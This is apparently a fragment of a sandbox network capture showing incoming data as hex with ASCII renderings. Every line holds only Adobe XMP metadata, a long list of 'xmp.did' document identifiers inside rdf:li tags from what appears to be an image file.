2022-07-20 07:08:25 UTC	5319	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 35 36 64 37 38 63 2d 39 36 66 63 2d 34 34 33 62 2d 38 64 39 31 2d 31 65 32 64 36 31 34 61 66 32 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 37 35 35 37 32 30 2d 61 36 33 64 2d 34 30 65 30 2d 39 33 64 39 2d 63 36 36 36 66 63 35 63 65 65 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 39 39 38 35 37 36 2d 37 37 35 61 2d 64 39 34 63 2d 61 36 61 64 2d 39 39 39 64 61 38 30 65 63 36 62 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 64 62 35 34 33 35 32 2d 65 36 37 65 2d 34 66 39 66 2d 38 63 32 37 2d 34 66 66 39 37 61 36 66 33 65 32 38 3c 2f 72 64 66 3a 6c Data Ascii: </rdf:li> <rdf:li>xmp.did:2d56d78c-96fc-443b-8d91-1e2d614af250</rdf:li> <rdf:li>xmp.did:2d755720-a63d-40e0-93d9-c666fc5cee31</rdf:li> <rdf:li>xmp.did:2d998576-775a-d94c-a6ad-999da80ec6ba</rdf:li> <rdf:li>xmp.did:2db54352-e67e-4f9f-8c27-4ff97a6f3e28</rdf:l
2022-07-20 07:08:25 UTC	5327	IN	Data Raw: 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 43 35 33 39 35 35 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 43 37 43 41 31 36 34 46 32 30 36 38 31 31 39 31 30 39 45 44 34 42 34 34 44 43 46 42 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 43 42 32 41 31 38 45 36 38 44 45 31 31 31 41 39 46 39 43 39 38 36 32 41 37 38 33 32 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 44 36 32 37 33 31 31 46 32 30 36 38 31 31 39 39 34 43 41 37 35 37 37 43 45 45 30 45 31 32 3c 2f 72 Data Ascii: 6811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:35C539550A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:35C7CA164F2068119109ED4B44DCFBF3</rdf:li> <rdf:li>xmp.did:35CB2A18E68DE111A9F9C9862A783216</rdf:li> <rdf:li>xmp.did:35D627311F206811994CA7577CEE0E12</r
2022-07-20 07:08:25 UTC	5343	IN	Data Raw: 32 63 63 36 64 30 38 2d 32 39 37 62 2d 31 37 34 33 2d 39 39 65 63 2d 63 63 63 39 64 31 65 61 62 65 34 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 32 66 65 31 63 62 33 2d 36 39 31 36 2d 34 31 33 31 2d 61 33 39 30 2d 61 30 36 64 34 66 35 37 63 32 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 32 39 33 34 43 34 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 32 42 32 42 34 30 31 41 32 30 36 38 31 31 38 30 38 33 38 30 36 34 31 35 41 45 31 38 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 34 30 61 62 37 66 2d 65 39 39 62 2d 34 32 Data Ascii: 2cc6d08-297b-1743-99ec-ccc9d1eabe4f</rdf:li> <rdf:li>xmp.did:42fe1cb3-6916-4131-a390-a06d4f57c21d</rdf:li> <rdf:li>xmp.did:432934C40720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:432B2B401A2068118083806415AE183A</rdf:li> <rdf:li>xmp.did:4340ab7f-e99b-42
2022-07-20 07:08:25 UTC	5359	IN	Data Raw: 41 32 33 36 38 31 31 38 37 31 46 38 39 34 44 38 46 42 33 35 42 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 43 31 39 34 38 41 38 45 46 35 44 46 31 31 38 43 38 42 39 45 44 42 30 32 31 41 43 31 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 43 41 46 33 37 42 30 44 32 30 36 38 31 31 38 43 31 34 43 45 38 32 30 32 31 46 38 30 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 43 44 30 43 45 32 32 34 32 30 36 38 31 31 38 30 38 33 45 32 34 31 32 30 39 39 43 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 45 31 45 46 37 41 37 36 39 36 45 31 31 31 39 39 41 43 42 36 37 45 44 43 31 39 36 41 33 45 Data Ascii: A236811871F894D8FB35BFB</rdf:li> <rdf:li>xmp.did:51C1948A8EF5DF118C8B9EDB021AC112</rdf:li> <rdf:li>xmp.did:51CAF37B0D2068118C14CE82021F805D</rdf:li> <rdf:li>xmp.did:51CD0CE2242068118083E2412099CEDA</rdf:li> <rdf:li>xmp.did:51E1EF7A7696E11199ACB67EDC196A3E
2022-07-20 07:08:25 UTC	5366	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 39 46 31 44 42 45 31 42 32 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 45 35 37 31 46 33 44 32 32 30 36 38 31 31 39 32 42 30 39 46 34 38 32 37 30 45 34 39 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 63 66 66 30 31 62 2d 39 39 65 37 2d 31 37 34 37 2d 61 66 63 32 2d 38 38 33 66 66 38 33 38 38 66 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 65 38 35 62 64 65 2d 62 36 38 62 2d 34 39 34 61 2d 38 32 65 39 2d 32 39 36 30 35 61 32 64 39 65 64 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: df:li> <rdf:li>xmp.did:589F1DBE1B2068118C14F95D3C94DD26</rdf:li> <rdf:li>xmp.did:58E571F3D220681192B09F48270E4925</rdf:li> <rdf:li>xmp.did:58cff01b-99e7-1747-afc2-883ff8388f59</rdf:li> <rdf:li>xmp.did:58e85bde-b68b-494a-82e9-29605a2d9ede</rdf:li> <rdf:li>
2022-07-20 07:08:25 UTC	5382	IN	Data Raw: 30 38 42 35 35 39 37 36 44 38 35 33 30 35 34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 33 39 41 34 31 35 39 42 39 44 44 31 31 39 38 38 35 38 31 33 31 38 46 31 37 38 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 38 41 39 31 45 36 46 32 31 36 38 31 31 41 37 42 41 46 38 45 44 34 30 46 44 38 41 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 46 30 43 41 42 34 39 32 30 36 38 31 31 38 33 45 45 39 36 41 36 37 44 32 41 41 31 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 46 37 30 42 45 33 41 39 34 45 31 31 31 41 46 41 33 44 39 32 30 35 32 39 38 41 30 37 41 3c 2f 72 64 66 3a Data Ascii: 08B55976D85305432</rdf:li> <rdf:li>xmp.did:67539A4159B9DD11988581318F178C4A</rdf:li> <rdf:li>xmp.did:6758A91E6F216811A7BAF8ED40FD8AA9</rdf:li> <rdf:li>xmp.did:675F0CAB4920681183EE96A67D2AA169</rdf:li> <rdf:li>xmp.did:675F70BE3A94E111AFA3D9205298A07A</rdf:
2022-07-20 07:08:25 UTC	5398	IN	Data Raw: 69 64 3a 37 35 32 35 33 34 63 66 2d 36 36 64 66 2d 34 36 65 39 2d 39 38 65 39 2d 38 34 66 33 37 62 35 63 31 37 33 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 33 35 30 30 32 63 2d 65 38 35 62 2d 61 32 34 37 2d 61 30 39 32 2d 31 63 39 38 61 64 35 32 37 62 34 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 34 38 35 31 32 33 2d 34 33 36 36 2d 34 30 39 39 2d 62 30 33 33 2d 64 35 38 32 33 30 63 32 37 36 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 35 34 38 38 36 61 2d 39 31 64 64 2d 34 39 37 31 2d 61 39 61 61 2d 38 38 34 35 35 39 32 35 64 64 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 36 30 Data Ascii: id:752534cf-66df-46e9-98e9-84f37b5c173a</rdf:li> <rdf:li>xmp.did:7535002c-e85b-a247-a092-1c98ad527b4c</rdf:li> <rdf:li>xmp.did:75485123-4366-4099-b033-d58230c27619</rdf:li> <rdf:li>xmp.did:7554886a-91dd-4971-a9aa-88455925ddae</rdf:li> <rdf:li>xmp.did:7560
2022-07-20 07:08:25 UTC	5406	IN	Data Raw: 36 33 34 34 37 36 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 44 35 42 35 31 30 41 46 36 37 44 31 31 44 46 38 32 36 39 42 42 39 33 46 30 33 44 43 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 44 35 45 31 42 38 41 45 41 45 46 44 46 31 31 38 41 39 44 41 46 37 35 41 41 44 33 34 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 44 37 31 35 33 38 44 34 45 33 38 45 30 31 31 38 34 31 31 45 43 35 46 33 34 33 31 32 35 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 44 37 33 34 37 39 35 32 36 32 30 36 38 31 31 39 32 42 30 42 31 41 44 31 35 32 36 45 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: 634476BA</rdf:li> <rdf:li>xmp.did:7D5B510AF67D11DF8269BB93F03DCA24</rdf:li> <rdf:li>xmp.did:7D5E1B8AEAEFDF118A9DAF75AAD34E89</rdf:li> <rdf:li>xmp.did:7D71538D4E38E0118411EC5F3431256E</rdf:li> <rdf:li>xmp.did:7D7347952620681192B0B1AD1526E8D3</rdf:li> <rdf:
2022-07-20 07:08:25 UTC	5422	IN	Data Raw: 34 44 46 31 37 44 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 36 44 44 32 32 32 31 38 32 30 36 38 31 31 39 32 42 30 39 44 43 44 33 35 32 31 38 41 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 37 37 42 36 35 38 42 43 44 33 44 45 31 31 38 32 30 35 41 44 35 39 31 42 44 34 43 42 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 37 44 32 35 38 31 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 38 31 37 41 39 33 35 46 34 38 45 31 31 31 39 39 38 31 42 32 36 33 39 36 38 Data Ascii: 4DF17D2068118083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:8A6DD2221820681192B09DCD35218AAA</rdf:li> <rdf:li>xmp.did:8A77B658BCD3DE118205AD591BD4CB4E</rdf:li> <rdf:li>xmp.did:8A7D25810A2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:8A817A935F48E1119981B263968
2022-07-20 07:08:25 UTC	5438	IN	Data Raw: 63 66 63 37 30 30 37 65 32 31 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 66 33 37 31 37 63 2d 61 34 35 66 2d 34 62 39 61 2d 62 37 38 37 2d 35 61 37 64 61 37 65 34 35 37 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 32 33 31 37 31 38 43 31 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 33 31 44 34 31 32 42 41 43 45 45 30 31 31 38 36 31 36 42 31 42 32 37 30 39 37 30 38 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 37 33 37 41 30 32 44 30 44 41 44 45 30 31 31 39 41 44 46 41 41 37 37 35 32 38 33 42 31 42 42 3c 2f 72 64 66 3a 6c Data Ascii: cfc7007e21ee</rdf:li> <rdf:li>xmp.did:96f3717c-a45f-4b9a-b787-5a7da7e4575a</rdf:li> <rdf:li>xmp.did:97231718C1206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:9731D412BACEE0118616B1B270970879</rdf:li> <rdf:li>xmp.did:9737A02D0DADE0119ADFAA775283B1BB</rdf:l
2022-07-20 07:08:25 UTC	5442	IN	Data Raw: 46 32 45 32 43 42 37 41 30 30 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 42 39 32 37 38 43 31 37 42 46 31 31 45 31 42 42 32 37 43 46 42 43 41 43 33 33 46 37 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 43 33 44 37 31 44 37 42 32 32 36 38 31 31 41 39 36 31 44 36 30 42 42 46 34 44 33 35 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 46 44 33 33 44 46 46 36 32 33 36 38 31 31 39 32 42 30 43 31 34 38 38 35 36 34 43 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 30 38 30 44 33 46 30 44 32 31 36 38 31 31 39 37 41 35 43 35 33 35 33 39 39 44 41 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: F2E2CB7A000B</rdf:li> <rdf:li>xmp.did:9AB9278C17BF11E1BB27CFBCAC33F71C</rdf:li> <rdf:li>xmp.did:9AC3D71D7B226811A961D60BBF4D357D</rdf:li> <rdf:li>xmp.did:9AFD33DFF623681192B0C1488564CF7E</rdf:li> <rdf:li>xmp.did:9B080D3F0D21681197A5C535399DA6CC</rdf:li> <
2022-07-20 07:08:25 UTC	5458	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 36 33 42 31 42 36 34 44 43 46 45 30 31 31 39 42 37 38 46 36 43 44 33 46 35 38 32 34 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 37 45 39 42 43 31 34 31 32 30 36 38 31 31 38 43 31 34 39 30 33 43 42 32 31 35 37 43 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 39 34 42 39 44 39 42 32 32 31 36 38 31 31 41 43 39 44 46 35 42 46 45 45 41 44 46 39 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 42 36 46 36 36 33 32 39 32 30 36 38 31 31 39 35 46 45 38 30 31 34 45 39 32 39 45 34 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 43 31 43 46 37 33 32 Data Ascii: df:li>xmp.did:AD63B1B64DCFE0119B78F6CD3F5824A5</rdf:li> <rdf:li>xmp.did:AD7E9BC1412068118C14903CB2157C2E</rdf:li> <rdf:li>xmp.did:AD94B9D9B2216811AC9DF5BFEEADF9AE</rdf:li> <rdf:li>xmp.did:ADB6F6632920681195FE8014E929E489</rdf:li> <rdf:li>xmp.did:ADC1CF732
2022-07-20 07:08:25 UTC	5474	IN	Data Raw: 6d 70 2e 64 69 64 3a 43 35 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 30 34 33 30 42 45 30 37 32 30 36 38 31 31 38 44 42 42 42 44 33 32 30 30 42 42 41 38 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 30 38 34 37 34 45 31 30 32 30 36 38 31 31 42 42 38 45 41 43 33 42 30 43 32 36 46 33 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 30 41 45 43 43 41 43 35 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 31 42 34 31 42 31 38 37 32 30 36 38 31 31 Data Ascii: mp.did:C5B0A4CB2E2068118083E6D8312B1897</rdf:li> <rdf:li>xmp.did:C60430BE072068118DBBBD3200BBA84C</rdf:li> <rdf:li>xmp.did:C608474E10206811BB8EAC3B0C26F365</rdf:li> <rdf:li>xmp.did:C60AECCAC52068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:C61B41B187206811
2022-07-20 07:08:25 UTC	5478	IN	Data Raw: 34 44 31 44 42 36 45 32 34 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 35 34 35 35 36 34 34 41 32 31 36 38 31 31 39 31 30 39 42 45 41 33 44 43 30 46 37 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 35 38 46 36 39 44 30 37 32 30 36 38 31 31 38 41 36 44 44 34 46 43 43 36 35 36 43 35 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 36 33 45 46 39 44 30 39 32 30 36 38 31 31 38 41 37 35 46 34 37 34 35 38 30 44 43 44 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 39 38 30 30 45 33 37 32 32 31 36 38 31 31 38 32 32 41 44 45 32 30 44 45 43 41 34 39 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 4D1DB6E24F6</rdf:li> <rdf:li>xmp.did:CC5455644A2168119109BEA3DC0F77B2</rdf:li> <rdf:li>xmp.did:CC58F69D072068118A6DD4FCC656C5BC</rdf:li> <rdf:li>xmp.did:CC63EF9D092068118A75F474580DCD87</rdf:li> <rdf:li>xmp.did:CC9800E372216811822ADE20DECA49B6</rdf:li> <r
2022-07-20 07:08:25 UTC	5494	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 45 45 34 38 33 39 38 30 42 43 39 45 30 31 31 42 30 45 30 39 37 34 35 35 39 46 39 46 37 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 46 31 39 33 31 33 41 30 38 32 30 36 38 31 31 39 37 41 35 39 30 44 38 33 33 46 34 43 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 46 31 45 45 35 45 45 31 46 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 46 32 38 34 31 32 31 35 38 46 39 45 30 31 31 42 34 39 46 44 33 31 32 32 44 45 31 38 45 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 46 33 37 46 38 32 46 39 30 32 32 36 38 Data Ascii: >xmp.did:DEE483980BC9E011B0E0974559F9F769</rdf:li> <rdf:li>xmp.did:DF19313A0820681197A590D833F4CB14</rdf:li> <rdf:li>xmp.did:DF1EE5EE1F206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:DF28412158F9E011B49FD3122DE18E02</rdf:li> <rdf:li>xmp.did:DF37F82F902268
2022-07-20 07:08:25 UTC	5510	IN	Data Raw: 46 43 39 37 37 38 45 32 33 33 41 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 35 44 39 31 38 41 31 31 32 30 36 38 31 31 39 32 42 30 38 42 45 45 32 39 43 37 35 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 36 45 38 44 35 46 43 37 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 38 44 45 33 46 38 41 32 33 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: FC9778E233A01</rdf:li> <rdf:li>xmp.did:F75D918A1120681192B08BEE29C75DD2</rdf:li> <rdf:li>xmp.did:F7627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F76E8D5FC72068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:F77F117407206811808398DE3F8A2385</rdf:li>
2022-07-20 07:08:25 UTC	5518	IN	Data Raw: 46 39 30 31 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 42 36 32 32 30 41 35 36 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 43 32 39 36 46 31 46 41 38 44 36 34 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 38 30 31 35 39 33 38 42 39 42 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 43 38 35 46 36 30 43 32 44 30 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: F90152E</rdf:li> <rdf:li>xmp.did:F87F1174072068118A6D83B6220A56DB</rdf:li> <rdf:li>xmp.did:F87F1174072068118AC296F1FA8D643B</rdf:li> <rdf:li>xmp.did:F87F1174072068118C148015938B9BA5</rdf:li> <rdf:li>xmp.did:F87F1174072068118C14C85F60C2D096</rdf:li> <rdf:l
2022-07-20 07:08:25 UTC	5534	IN	Data Raw: 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 39 33 36 30 65 2d 62 65 62 30 2d 34 30 62 33 2d 62 30 65 33 2d 35 35 39 35 62 35 32 37 39 31 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 61 32 66 65 37 2d 36 38 33 38 2d 33 34 34 39 2d 39 32 35 35 2d 33 30 34 39 65 34 62 63 30 63 34 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 63 62 66 38 37 62 2d 61 34 37 65 2d 34 35 36 36 2d 38 39 62 35 2d 65 66 66 63 34 36 35 63 37 34 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 35 30 34 39 61 63 62 2d 38 61 35 65 2d 34 63 62 36 2d 38 36 34 35 2d 35 31 34 34 64 36 36 Data Ascii: 0a292735aa19</rdf:li> <rdf:li>xmp.did:a4a9360e-beb0-40b3-b0e3-5595b52791ee</rdf:li> <rdf:li>xmp.did:a4aa2fe7-6838-3449-9255-3049e4bc0c4c</rdf:li> <rdf:li>xmp.did:a4cbf87b-a47e-4566-89b5-effc465c747c</rdf:li> <rdf:li>xmp.did:a5049acb-8a5e-4cb6-8645-5144d66
2022-07-20 07:08:25 UTC	5550	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 32 61 38 66 38 35 2d 38 65 39 35 2d 34 36 62 39 2d 61 66 61 39 2d 65 33 61 31 31 36 35 33 61 36 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 33 63 36 65 33 38 2d 63 33 37 65 2d 36 35 34 33 2d 62 36 33 65 2d 39 65 62 66 37 31 39 66 62 35 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 34 61 31 62 34 63 2d 30 30 35 62 2d 34 38 35 32 2d 39 66 37 63 2d 63 37 63 64 63 65 31 65 61 63 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 32 36 32 38 36 32 39 2d 65 39 35 32 2d 34 38 66 66 2d 62 66 37 36 2d 61 36 36 61 61 38 31 63 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: f:li> <rdf:li>xmp.did:d22a8f85-8e95-46b9-afa9-e3a11653a682</rdf:li> <rdf:li>xmp.did:d23c6e38-c37e-6543-b63e-9ebf719fb518</rdf:li> <rdf:li>xmp.did:d24a1b4c-005b-4852-9f7c-c7cdce1eacae</rdf:li> <rdf:li>xmp.did:d2628629-e952-48ff-bf76-a66aa81ca2c0</rdf:li> <
